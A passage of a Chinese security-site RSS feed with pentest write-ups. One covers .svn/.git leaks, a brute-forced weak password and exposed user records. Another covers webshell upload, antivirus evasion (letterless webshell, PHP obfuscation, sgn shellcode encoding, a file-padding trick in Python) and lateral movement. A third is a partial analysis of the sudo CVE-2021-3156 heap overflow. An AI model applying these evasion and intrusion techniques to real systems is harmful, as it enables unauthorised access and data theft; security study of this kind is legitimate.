<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641150.png" width="720" height="44"/></p>
<p>并通过dirb扫除.svn泄露：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641152.png" width="720" height="1074.6666666666667"/></p>
<p>再通过svnExploit工具进行下载利用：</p>
<p>链接：<a href="https://github.com/admintony/svnExploit">https://github.com/admintony/svnExploit</a></p>
<p>并在svn中发现大量日志泄露：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641153.png" width="720" height="440"/></p>
<p>并通过找到最新的日志信息，找到密码hash值，通过cmd5实现解密并成功进入后台：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641154.png" width="720" height="440"/></p>
<p><a href="https://blog.csdn.net/qq_41781465/article/details/144092247">https://blog.csdn.net/qq_41781465/article/details/144092247</a></p>
<p>这篇文章也是在日志信息中成功找到账号密码，配合dirsearch扫出后台，成功登陆：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641155.png" width="720" height="352.7056019070322"/></p>
<p>不过我这次日志信息量虽然很大，且经过我实际尝试也确实会记录我的一些操作信息，但翻遍日志却并貌似不存在敏感信息：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641156.png" width="720" height="336.21719457013575"/></p>
<p>但我发现在日志中泄露了sql语句，貌似可以寻找对应接口，参数拼接成数据包尝试sql注入，但我找遍了日志都没有发现可以直接使用的接口或者代入了sql语句的参数。</p>
<p><strong style="padding: 0px;margin: 0px">不弱的弱口令：</strong></p>
<p>翻找js文件，尝试直接拼接登陆验证接口，和其它查询接口全部失败。</p>
<p>不过根据找到的其它js路径发现其目录结构基本拼接在/syl/下，于是根据经验在目录后拼接admin,系统跳转到后台管理员登陆界面，输入账户为admin页面显示密码错误，输入其它账户页面显示账号不存在，可知账户为admin。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641157.png" width="500" height="331.0854166666667"/></p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641158.png" width="500" height="296.16319444444446"/></p>
<p>根据页面特征制作字典并加上弱口令top500的内容，尝试爆破成功：密码为页面根路径字母syl+88888888。</p>
<p>这种:syl88888888一看就是弱口令，但如果你只是通过现存的什么top100，top500这种字典是爆破不出来的，所以在进行渗透测试时一定还要根据页面特征，关键字，系统名称首字母等信息制作特定的社工字典尝试。</p>
<p>比如kali自带的cewl工具，便是一种基于爬虫，对页面目录信息进行循环爬取再生成字典的工具。</p>
<p>工具分析文章：<a href="https://www.cnblogs.com/jackie-lee/p/16132116.html">https://www.cnblogs.com/jackie-lee/p/16132116.html</a></p>
<p>成功进入后台。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641159.png" width="720" height="77.70566037735848"/></p>
<p>并发现大量信息泄露：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641160.png" width="720" height="182.2085889570552"/></p>
<p>存在四千多条用户敏感信息泄露。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641161.png" width="720" height="131.16831683168317"/></p>
<p>爬出靶场的高危：</p>
<p>通过dirsearch扫描目录，看有没有结果。</p>
<p>直接扫出来了好几条.git路径，直接访问泄露的路径看不出什么敏感信息。</p>
<p>但很明显站点存在.git信息泄露漏洞，一个我曾经只在ctf技能树复现过的漏洞。</p>
<p>Git就是一个开源的分布式版本控制系统，在执行gitinit初始化目录时会在当前目录下自动创建一个.git目录，用来记录代码的变更记录等，发布代码的时候如果没有把.git这个目录删除而是直接发布到<a href="https://cloud.tencent.com/product/cvm/?from_column=20065&#038;from=20065">服务器</a>上，那么攻击者就可以通过它来恢复源代码，从而造成信息泄露等一系列的安全问题。</p>
<p>尝试githack进行探测利用（只能python2使用）</p>
<p>工具链接：<a href="https://github.com/BugScanTeam/GitHack"><strong style="padding: 0px;margin: 0px">https://github.com/BugScanTeam/GitHack</strong></a></p>
<p>该工具基本原理就是解析.git/index文件，找到工程中所有的文件，文件名，再去.git/objects/文件夹下下载对应的文件，并通过zlib解压文件并按原始的目录结构写入源代码</p>
<p>结果我直接把整个git扒了下来，得到站点整套源码，于是通过vscode打开分析：</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641162.png" width="500" height="757.0093457943925"/></p>
<p>随意翻找文件，找到mysql数据库账号密码，于是扫描端口发现开启3306，尝试连接，发现似乎做了IP白名单限制，于是放弃。</p>
<p>再翻找文件，发现居然直接把后台部分用户的信息写在了.sql文件内，包含姓名，身份证，电话等信息，不过只有几百条。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202501231641163.png" width="720" height="175.897903372835"/></p>
<p>此处其实还可以深入对php源码进行审计，发现更多高危漏洞，但我却不会php代审，所以打到这里就收工了，觉得应该可以拿证了。</p>
<p>整个渗透过程很顺利，大概就两三个小时，还是信息搜集做得好，不然都不一定能出成果，同时需要多阅读漏洞挖掘文章，这样在渗透测试过程中才能对漏洞利用更加熟练。</p>
<p>&nbsp;&nbsp;</p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205871.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>记一次有点抽象的渗透经历</title>
		<link>https://www.secpulse.com/archives/205044.html</link>
		<comments>https://www.secpulse.com/archives/205044.html#comments</comments>
		<pubDate>Wed, 22 Jan 2025 05:32:08 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[内网渗透]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205044</guid>
		<description><![CDATA[<h2>0x01 获取webshell</h2>
<p>在各种信息搜集中，发现某个ip的端口挂着一个比较老的服务。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528145.png" width="720" height="538.0645161290323"/></p>
<p>首先看到了员工工号和手机号的双重验证，也不知道账号是什么结构组成的，基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果，看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528147.png" width="720" height="343.44"/></p>
<p>看得出来也是一个年久失修的系统了，图片的链接都已经404了。但是这里得到了一个示例账号zs001，也知道了初始密码是123456（吐槽：果然年久失修了，这个系统就没有输入密码的input，只有一个手机号验证码）。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528148.png" width="720" height="600.241935483871"/></p>
<p>知道了账号，这里还缺一个手机号。感觉这个系统应该没做验证，毕竟看上去是一个老旧的系统，估计有没有人用用都不好说，可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然！</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528149.png"/></p>
<p>然后随便找个手机接码平台等待验证码发过来，然后过了十几分钟无果，想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破，估计验证码也是四位数，如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528150.png" width="720" height="349.3982074263764"/></p>
<p>然后登录后台直接上传一个木马，没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528151.png"/></p>
<p>但是访问的时候出现了一个坏消息。404了，404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了，然后再上传到服务器之后被杀软自动隔离，那么这时候访问就会出现404。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528152.png" width="720" height="72"/></p>
<p><br/></p>
<p><span style="margin: 0px;padding: 0px"><br/></span></p>
<h2>0x02 webshell免杀</h2>
<p>这里中途又替换了几个github上的免杀木马，均无效。ps:我是懒狗，免杀什么的能不写代码就不写代码。php这玩意有个好处，就是语法特别脏，各种免杀手法层出不穷，花里胡哨。这里就简单的介绍几种比较偷懒的方法。</p>
<h3>2.1 无字母webshell</h3>
<p>个人在实际渗透过程中还算挺好用的，无字母webshell本来是ctf的一些题目，但是事实上免杀效果确实也挺强，而且适应性也比较高，适合一句话木马。之后可以直接上蚁剑链接。</p>
<p>举例：</p>
<p>ps：当然都说了偷懒，肯定不是我写的，直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528154.png"/></p>
<p>免杀效果如下：</p>
<p>ps: emmmmmmm，我只能说，无敌好吧。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528155.png" width="720" height="347.76"/></p>
<h3>2.2 一键免杀工具免杀</h3>
<p>这里不多说了，去github直接找就是，但是github特征过于明显，以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的，效果也还不错。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528156.png" width="720" height="417.6"/></p>
<h3>2.3 混淆免杀</h3>
<p>混淆免杀，php有很多在线混淆的网站，也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。</p>
<p>可以直接去网上搜索php混淆</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528157.png" width="720" height="478.8"/></p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528158.png" width="720" height="432"/></p>
<p>这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528159.png"/></p>
<h2>0x03 绕过杀软上线</h2>
<p>接下来就是传frp代理，上cs的操作了。这里先上一个cs，但是由于目标机器上有杀软，所以采用shellcode加加载器的方式去进行绕过。众所周知，cs的特征较为明显，很容易就会被杀软拦截。</p>
<p>首先是shellcode免杀，shellcode免杀可以使用github上的sgn加密工具，免杀效果能达到vt0检测。github链接:<a href="https://github.com/EgeBalci/sgn">https://github.com/EgeBalci/sgn</a></p>
<p>使用方法也很简单，把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。</p>
<p>sgn.exe shellcode文件名</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528160.png" width="720" height="203.61990950226243"/></p>
<p>免杀前效果</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528161.png" width="720" height="367.92"/></p>
<p>免杀后效果</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528162.png" width="720" height="460.08"/></p>
<p>剩下的就是加载器本身的免杀了，这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528163.png"/></p>
<p>其实有一个比较抽象的技巧，就是当文件足够大之后，杀软的沙箱就不会去运行该程序，从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。</p>
<p>那么怎么能让文件变得足够大呢？就是不断往文件后面填充垃圾字符，比如\x00这样既不会影响exe执行，又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。</p>
<p>这里上代码</p>
<p>with open(&#39;1.exe&#39;, &#39;ab&#39;) as f:\f.write(b&#39;\x00&#39; * 1024 * 1024 * 100)</p>
<p>可以看到每次运行add.py 1.exe就大了100m。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528165.png" width="720" height="153.10796074154854"/></p>
<p>然后多次运行，当1.exe达到2g的时候，根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。（这个方法很玄学，不是很稳定，有时候能有有时候不能用。但是还是值得一试，毕竟是老前辈传承下来的经典免杀手法。）</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528166.png" width="720" height="209.52"/></p>
<p>但是问题来了，2个g的文件怎么上传到服务器又是一个问题，这里就要说明一下\x00的好处了，可以通过压缩成zip的方式把exe压缩，压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器，然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528167.png"/></p>
<h2>0x04 内网移动</h2>
<p>之后便是熟悉的内网横向环节了。首先是看到了一个弱口令，然后直接链接数据库然后getshell。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528168.png"/></p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528169.png"/></p>
<p>然后直接net user add，之后3389链接上服务器，翻出了一个密码本。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528170.png"/></p>
<p>找到一个双网卡的sql server服务器，然后上线，扫一波SMB</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528171.png"/></p>
<p>最后找到重要系统10.x.x.x 这个系统，看着是java写的后端,也是一个看起来很老的界面了。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528172.png"/></p>
<p>扫了一下路径发现存在druid。</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528173.png" width="720" height="435.97989949748745"/></p>
<p>原本想找session登录的，然后想了一下试一下运气直接怼一波st2，成功拿下（也是运气爆棚）</p>
<p><img src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405171528174.png"/></p>
<p>&nbsp;&nbsp;</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/205044.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CVE复现之老洞新探（CVE-2021-3156）</title>
		<link>https://www.secpulse.com/archives/205000.html</link>
		<comments>https://www.secpulse.com/archives/205000.html#comments</comments>
		<pubDate>Wed, 22 Jan 2025 05:26:38 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=205000</guid>
		<description><![CDATA[<h2><span style="padding: 0px;margin: 0px">环境搭建</span><br/></h2>
<p>直接拉取合适的docker</p>
<p>docker 环境：</p>
<p><a href="https://hub.docker.com/r/chenaotian/cve-2021-3156">https://hub.docker.com/r/chenaotian/cve-2021-3156</a></p>
<p>下载glibc-2.27源码和sudo-1.8.21源码</p>
<h2>漏洞分析</h2>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">/* set user_args */</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">NewArgc</span> <span class="cm-operator">&gt;</span> <span class="cm-number">1</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">to</span>, <span class="cm-operator">*</span><span class="cm-variable">from</span>, <span class="cm-operator">**</span><span class="cm-variable">av</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable-3">size_t</span> <span class="cm-variable">size</span>, <span class="cm-variable">n</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-comment">/* Alloc and build up user_args. */</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">for</span> (<span class="cm-variable">size</span> <span class="cm-operator">=</span> <span class="cm-number">0</span>, <span class="cm-variable">av</span> <span class="cm-operator">=</span> <span class="cm-variable">NewArgv</span> <span class="cm-operator">+</span> <span class="cm-number">1</span>; <span class="cm-operator">*</span><span class="cm-variable">av</span>; <span class="cm-variable">av</span><span class="cm-operator">++</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">size</span> <span class="cm-operator">+=</span> <span class="cm-variable">strlen</span>(<span class="cm-operator">*</span><span class="cm-variable">av</span>) <span class="cm-operator">+</span> <span class="cm-number">1</span>; <span class="cm-comment">//计算command缓冲区的大小，每个command后面跟一个空格符</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">size</span> <span class="cm-operator">==</span> <span class="cm-number">0</span> <span class="cm-operator">||</span> (<span class="cm-variable">user_args</span> <span class="cm-operator">=</span> <span class="cm-variable">malloc</span>(<span class="cm-variable">size</span>)) <span class="cm-operator">==</span> <span class="cm-variable">NULL</span>) { &nbsp;<span class="cm-comment">//分配堆块，存放command</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">sudo_warnx</span>(<span class="cm-variable">U_</span>(<span class="cm-string">&quot;%s: %s&quot;</span>), <span class="cm-variable">__func__</span>, <span class="cm-variable">U_</span>(<span class="cm-string">&quot;unable to allocate memory&quot;</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">debug_return_int</span>(<span class="cm-operator">-</span><span class="cm-number">1</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">ISSET</span>(<span class="cm-variable">sudo_mode</span>, <span class="cm-variable">MODE_SHELL</span><span class="cm-operator">|</span><span class="cm-variable">MODE_LOGIN_SHELL</span>)) { &nbsp;<span class="cm-comment">// 设置-s参数进入分支</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-comment">/*</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">* When running a command via a shell, the sudo front-end</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">* escapes potential meta chars. &nbsp;We unescape non-spaces</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">* for sudoers matching and logging purposes.</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> <span class="cm-comment">*/</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">for</span> (<span class="cm-variable">to</span> <span class="cm-operator">=</span> <span class="cm-variable">user_args</span>, <span class="cm-variable">av</span> <span class="cm-operator">=</span> <span class="cm-variable">NewArgv</span> <span class="cm-operator">+</span> <span class="cm-number">1</span>; (<span class="cm-variable">from</span> <span class="cm-operator">=</span> <span class="cm-operator">*</span><span class="cm-variable">av</span>); <span class="cm-variable">av</span><span class="cm-operator">++</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">while</span> (<span class="cm-operator">*</span><span class="cm-variable">from</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">if</span> (<span class="cm-variable">from</span>[<span class="cm-number">0</span>] <span class="cm-operator">==</span> <span class="cm-string">&#39;\\&#39;</span> <span class="cm-operator">&amp;&amp;</span> <span class="cm-operator">!</span><span class="cm-variable">isspace</span>((<span class="cm-variable-3">unsigned</span> <span class="cm-variable-3">char</span>)<span class="cm-variable">from</span>[<span class="cm-number">1</span>]))</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">from</span><span class="cm-operator">++</span>; <span class="cm-comment">// 跳过反斜杠</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-operator">*</span><span class="cm-variable">to</span><span class="cm-operator">++</span> <span class="cm-operator">=</span> <span class="cm-operator">*</span><span class="cm-variable">from</span><span class="cm-operator">++</span>; <span class="cm-comment">// 复制反斜杠后面的字符</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;} <span class="cm-comment">// 漏洞点在于当结尾是\且后面不是空格时，会from++一次，在拷贝完后还会from++，再去判断while的条件，就跳过了0，造成了越界写。</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-operator">*</span><span class="cm-variable">to</span><span class="cm-operator">++</span> <span class="cm-operator">=</span> <span class="cm-string">&#39; &#39;</span>; <span class="cm-comment">//每个command后面跟一个空格</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span>}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-operator">*--</span><span class="cm-variable">to</span> <span class="cm-operator">=</span> <span class="cm-string">&#39;&#39;</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;} <span class="cm-keyword">else</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-keyword">for</span> (<span class="cm-variable">to</span> <span class="cm-operator">=</span> <span class="cm-variable">user_args</span>, <span class="cm-variable">av</span> <span class="cm-operator">=</span> <span class="cm-variable">NewArgv</span> <span class="cm-operator">+</span> <span class="cm-number">1</span>; <span class="cm-operator">*</span><span class="cm-variable">av</span>; <span class="cm-variable">av</span><span class="cm-operator">++</span>) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">n</span> <span class="cm-operator">=</span> <span class="cm-variable">strlcpy</span>(<span class="cm-variable">to</span>, <span class="cm-operator">*</span><span class="cm-variable">av</span>, <span class="cm-variable">size</span> <span class="cm-operator">-</span> (<span class="cm-variable">to</span> <span class="cm-operator">-</span> <span class="cm-variable">user_args</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-keyword">if</span> (<span class="cm-variable">n</span> <span class="cm-operator">&gt;=</span> <span class="cm-variable">size</span> <span class="cm-operator">-</span> (<span class="cm-variable">to</span> <span class="cm-operator">-</span> <span class="cm-variable">user_args</span>)) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">sudo_warnx</span>(<span class="cm-variable">U_</span>(<span class="cm-string">&quot;internal error, %s overflow&quot;</span>), <span class="cm-variable">__func__</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-variable">debug_return_int</span>(<span class="cm-operator">-</span><span class="cm-number">1</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-variable">to</span> <span class="cm-operator">+=</span> <span class="cm-variable">n</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;<span class="cm-operator">*</span><span class="cm-variable">to</span><span class="cm-operator">++</span> <span class="cm-operator">=</span> <span class="cm-string">&#39; &#39;</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span>}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-tab"> &nbsp; &nbsp;</span><span class="cm-operator">*--</span><span class="cm-variable">to</span> <span class="cm-operator">=</span> <span class="cm-string">&#39;&#39;</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span> &nbsp; &nbsp;}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-tab"> &nbsp; &nbsp;</span>}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span></pre>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447652.png"/></p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447654.png"/></p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447655.png"/></p>
<p>结合调试，可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数，在这里有两点：</p>
<p>①以反斜杠结尾可导致溢出</p>
<p>②以反斜杠作为参数可以写入零字节</p>
<p>同时，被溢出的那个堆块的大小等于对应参数长度+1。</p>
<h2>漏洞调试</h2>
<p>glibc源码</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">gdb</span> <span class="cm-variable">exp</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">catch</span> <span class="cm-builtin">exec</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">policy_check</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">sudoers</span>.<span class="cm-property">c</span>:<span class="cm-number">846</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">setlocale</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">sudo</span>.<span class="cm-property">c</span>:<span class="cm-number">148</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">setlocale</span>.<span class="cm-property">c</span>:<span class="cm-number">369</span> <span class="cm-operator">//</span> <span class="cm-variable">strdup</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">b</span> <span class="cm-variable">setlocale</span>.<span class="cm-property">c</span>:<span class="cm-number">398</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 